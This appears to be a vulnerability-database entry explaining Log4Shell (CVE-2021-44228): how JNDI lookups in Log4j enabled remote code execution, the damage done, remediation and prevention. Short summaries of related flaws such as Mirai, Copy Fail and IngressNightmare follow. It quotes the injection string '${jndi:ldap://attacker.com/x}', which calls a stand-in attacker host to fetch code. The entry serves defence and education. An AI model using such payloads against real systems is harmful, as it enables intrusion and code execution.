CVE-2021-44228
Résumé
Log4Shell, disclosed on 10 December 2021, was for a time the most dangerous vulnerability on the internet. It lived in Log4j, an Apache logging library so ubiquitous that it sat, usually invisibly, inside millions of Java applications, from enterprise servers to Minecraft to iCloud. The flaw was almost absurdly easy to trigger: if an attacker could get a crafted string like ${jndi:ldap://...} written into a log, a username, a chat message, a header, the server would reach out, fetch attacker-controlled code, and run it, giving full unauthenticated remote code execution. Because logging untrusted input is something nearly every application does, exploitation was trivial and everywhere. Within hours the entire internet was being mass-scanned, and defenders spent a frantic holiday season patching a dependency many did not even know they had. It is the defining example of why you must know, and be able to fix, every component buried in your software.
How it worked
Log4j had a feature where a log message could contain a "lookup", a ${...} expression that Log4j would evaluate as it logged. One of those lookups used JNDI (Java Naming and Directory Interface), a mechanism that can fetch a Java object from a remote server. Put the two together and you have a catastrophe. An attacker writes ${jndi:ldap://attacker.com/x} into anything that will be logged; Log4j dutifully evaluates it, connects out to the attacker's server, downloads a malicious Java class, and runs it. That is unauthenticated remote code execution from a single line of text.
What made it apocalyptic was where that text could come from: literally any untrusted input an application logs. A login form, an HTTP User-Agent header, an email subject, a chat message. The most famous proof was Minecraft, where typing the string into the in-game chat ran code on the server. And patching was a nightmare, because Log4j was almost never something you imported on purpose. It was a transitive dependency, bundled three layers deep inside frameworks and shipped inside network appliances, so you could not fix what you did not know you were running. The feature that made it all possible, JNDI lookups inside log messages, had been added back in 2013 and sat unnoticed for eight years.
The damage
Log4Shell affected an estimated hundreds of millions of applications and devices. Evidence of scanning predates the 10 December public disclosure, so it behaved as a zero-day, though the US Cyber Safety Review Board later found no proof that China, where the bug was first reported to Apache, had exploited its early knowledge. Within hours of disclosure the internet was being mass-scanned, with attackers dropping coin miners, the Mirai and Muhstik botnets, Cobalt Strike, and ransomware. The cleanup dragged: the first fix (version 2.15.0) was incomplete, and it took three more CVEs and four releases to fully close the hole (2.17.1). Yet the Cyber Safety Review Board, in its very first report, reached a surprising verdict: it found no significant Log4j attacks on critical infrastructure, exploitation "at lower levels than many experts predicted," and called it an "endemic vulnerability" likely to be exploited for a decade. The lasting cost was the global scramble, not a wave of catastrophic breaches, and years later millions of vulnerable Log4j versions are still being downloaded.
Why Log4Shell still matters
Log4Shell is the Equifax lesson at internet scale: you cannot defend a dependency you do not know you are running. The bug itself was bad, but the real crisis was that organisations had no idea where Log4j lived in their stack, because it was transitive, bundled, and embedded. That is the entire argument for a software bill of materials and continuous dependency scanning (SCA): when the next Log4Shell lands, the difference between patching in hours and patching in months is simply knowing your own inventory. It is also the argument for reachability, knowing whether the vulnerable code path is actually invoked, so you can triage real exposure first instead of patching blindly across thousands of services.
Comment le corriger
- Upgrade Log4j to 2.17.1 or later; the original Log4Shell was fixed in 2.15.0, but 2.17.1 is the version that closes all four related CVEs. Confirm every instance, including copies bundled inside other software and appliances.
- Where you cannot upgrade immediately, remove the JndiLookup class from the classpath and block outbound LDAP and RMI from servers with no reason to make those connections.
- Inventory your whole stack for Log4j with dependency scanning, including transitive and embedded copies; the version you import directly is rarely the only one.
- Hunt for exploitation: look for JNDI lookup strings in logs and unexpected outbound connections, and treat any hit as a potential compromise.
Comment l’éviter
- Maintain a software bill of materials and scan dependencies continuously, so a critical flaw in a component like Log4j is found in hours, not weeks.
- Keep a fast, tracked remediation SLA for critical, internet-facing vulnerabilities, and rehearse it before you need it.
- Restrict what your servers can do: do not let application servers make arbitrary outbound connections, which is what turns a log injection into code execution.
- Treat "we log untrusted input" as the default and never evaluate or interpret that input; disable powerful templating or lookup features you do not need.
- Track reachability, so you can fix the components that are actually invoked first instead of patching everything blindly under pressure.
Références
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://logging.apache.org/log4j/2.x/security.html
- https://www.cisa.gov/sites/default/files/2023-02/CSRB-Report-on-Log4j-PublicReport-July-11-2022-508-Compliant.pdf
- https://www.cisa.gov/news-events/alerts/2022/04/27/2021-top-routinely-exploited-vulnerabilities
- https://github.com/apache/logging-log4j2/pull/608
- https://github.com/github/advisory-database/pull/5501
Vulnérabilités liées
Tout Infra →- HIGHINFRA-MIRAI-2016
In 2016 the Mirai botnet showed what happens when millions of insecure IoT devices get weaponized. Mirai scanned the internet for cameras, DVRs, and routers exposed over Telnet and logged in using a table of about 61 default and hardcoded credential pairs that owners never changed (and sometimes could not change). The conscripted devices launched record-breaking DDoS attacks: roughly 620 Gbps against the security site Krebs on Security, around 1.1 Tbps against the host OVH, and, after Mirai's source code was leaked, an assault on the DNS provider Dyn on 21 October 2016 that knocked Twitter, Netflix, Reddit, GitHub, and Spotify offline for much of the US. That public code release spawned countless variants that still operate today. It is the defining lesson in default-credential and IoT hygiene.
- HIGHINFRA-USBLITER8-2026
usbliter8, published on 18 June 2026 by a research group called Paradigm Shift, is an unpatchable BootROM exploit for Apple's A12 and A13 chips, the silicon inside the iPhone XS, XR and 11 families plus the Apple Watch Series 4 and 5. It is the long-awaited successor to checkm8, the 2019 exploit that broke every Apple chip from the A5 to the A11 and was assumed to be the end of that road. The bug lives in the SecureROM, the very first code an Apple device runs at power on, which is etched into the silicon at the factory and can never be altered by any software update. usbliter8 abuses a hardware flaw in the Synopsys DWC2 USB controller: a mismatch in how the controller tracks its DMA memory while buffering USB Setup packets lets an attacker walk a write pointer backwards through memory and overwrite arbitrary SRAM, ending in full code execution inside the most trusted code on the chip. From there it can boot unsigned firmware and step outside Apple's chain of trust entirely, stamping the string PWND into the device's USB serial number as proof of control. The catch is that it is not a remote attack: it needs physical possession of the device, DFU recovery mode, a USB connection and a small RP2350 microcontroller board, and nothing it changes survives a reboot. It also does not break the Secure Enclave, so a device protected by a strong passcode keeps its user data encrypted even after the boot chain has been taken over. Apple cannot repair the affected chips; the only real remedy is newer hardware, because the A14 and later configure the controller correctly and are out of reach.
- HIGHCVE-2026-31431
Copy Fail (CVE-2026-31431), disclosed on 29 April 2026 by the security firm Theori, is a Linux kernel flaw that turns any unprivileged local user into root with a 732-byte Python script and no luck required. Despite a name that sounds like a clipboard bug, it has nothing to do with copy and paste: it is a failed copy deep in the kernel's crypto code. A nine-year-old optimization in the AF_ALG crypto socket interface let an attacker steer the kernel into writing four attacker-chosen bytes into the page cache, the in-memory copy of files that the CPU actually executes. Patch the cached pages of a setuid-root binary like /usr/bin/su, run it, and you are root. The exploit is a straight-line logic flaw with no race condition and no hardcoded kernel addresses, so the exact same script runs at roughly 100 percent reliability across Ubuntu, RHEL, SUSE, Amazon Linux and every other distribution built since 2017. Worse, because the page cache is shared by the whole machine, it crosses container boundaries: one poisoned page in a Kubernetes pod can compromise neighbouring tenants and the host. The disk file is never touched, so file-integrity scanners stay silent. It rates CVSS 7.8 (High), was added to CISA's Known Exploited Vulnerabilities catalog on 1 May 2026, and is notable for how it was found: an AI-assisted code scan surfaced a bug that had been silently exploitable for nearly a decade in about one hour.
- CRITICALCVE-2025-1974
IngressNightmare was a chain of five vulnerabilities in the Ingress-NGINX Controller for Kubernetes disclosed on 24 March 2025 by the Wiz Research team, the most severe being CVE-2025-1974 (CVSS 9.8), which enabled unauthenticated remote code execution from the pod network. Wiz estimated about 43% of cloud environments were vulnerable and identified over 6,500 publicly exposed clusters, including Fortune 500 organizations. The controller's validating admission webhook ran as an unauthenticated HTTP endpoint reachable by any workload on the pod network, accepting attacker-supplied AdmissionReview requests containing crafted Ingress objects. The supporting CVEs (CVE-2025-24514 auth-url, CVE-2025-1097 auth-tls-match-cn, CVE-2025-1098 mirror UID, CVE-2025-24513 path bypass) injected unsanitized NGINX configuration directives via annotations into a temporary config the controller validated with nginx -t. The attacker uploaded a shared-library payload by abusing NGINX client-body buffering (an oversized Content-Length keeps the request file descriptor open in ProcFS) and then used the injected ssl_engine directive to load that library during validation, achieving code execution in the controller pod whose service account could read all cluster secrets across namespaces, enabling full cluster takeover.
- HIGHCLOUD-ENVFILE-EXTORTION-2024
On August 15, 2024, Palo Alto Networks Unit 42 detailed a large-scale extortion campaign that compromised cloud environments by harvesting exposed environment variable files. Attackers scanned at least 110,000 domains and collected over 90,000 unique variables, including roughly 7,000 cloud service credentials and 1,515 social media credentials, with their infrastructure probing around 230 million targets. The vector was a web server misconfiguration: .env files inside the web root were served as plaintext over HTTP because the servers had no rule denying access to dotfiles, exposing the long-lived AWS IAM access keys hardcoded inside. The initial IAM principals lacked full admin but retained permission to create roles and users, so attackers called CreateRole and attached AdministratorAccess to escalate, then spun up Lambda functions across regions to automate further internet-wide scanning. They used the victims' own AWS accounts to exfiltrate and delete S3 objects, then uploaded ransom notes demanding payment. The failure chain combined exposed dotfiles, long-lived hardcoded credentials, and over-permissioned IAM, not any cloud-provider flaw.
- CRITICALCLOUD-BUCKET-MONOPOLY-2024
In research disclosed to AWS on February 16, 2024 and presented at Black Hat USA and DEF CON 32 in August 2024, Aqua Security's Nautilus team described a class of S3 bucket-name takeover attacks they called Bucket Monopoly, affecting CloudFormation, Glue, EMR, SageMaker, Service Catalog, and CodeStar. These services auto-created S3 buckets with predictable names built from static prefixes plus the account ID and region, such as cf-templates-{hash}-{region}, aws-glue-assets-{account-id}-{region}, and sagemaker-{region}-{account-id}, where account IDs are discoverable from ARNs, access keys, and public repos. Because S3 bucket names are globally unique, an attacker could pre-create a victim's predictably named bucket in a region the victim had not yet used (a Shadow Resource), then the victim's service would later read attacker-controlled content from it. This enabled data tampering, information disclosure, remote code execution by injecting malicious Glue or CloudFormation content, and in some cases full account takeover via planted admin roles; AWS remediated by adding randomized suffixes to bucket names and enforcing aws:ResourceAccount conditions. The class also covers reuse of abandoned or dangling bucket names that a victim configuration still references.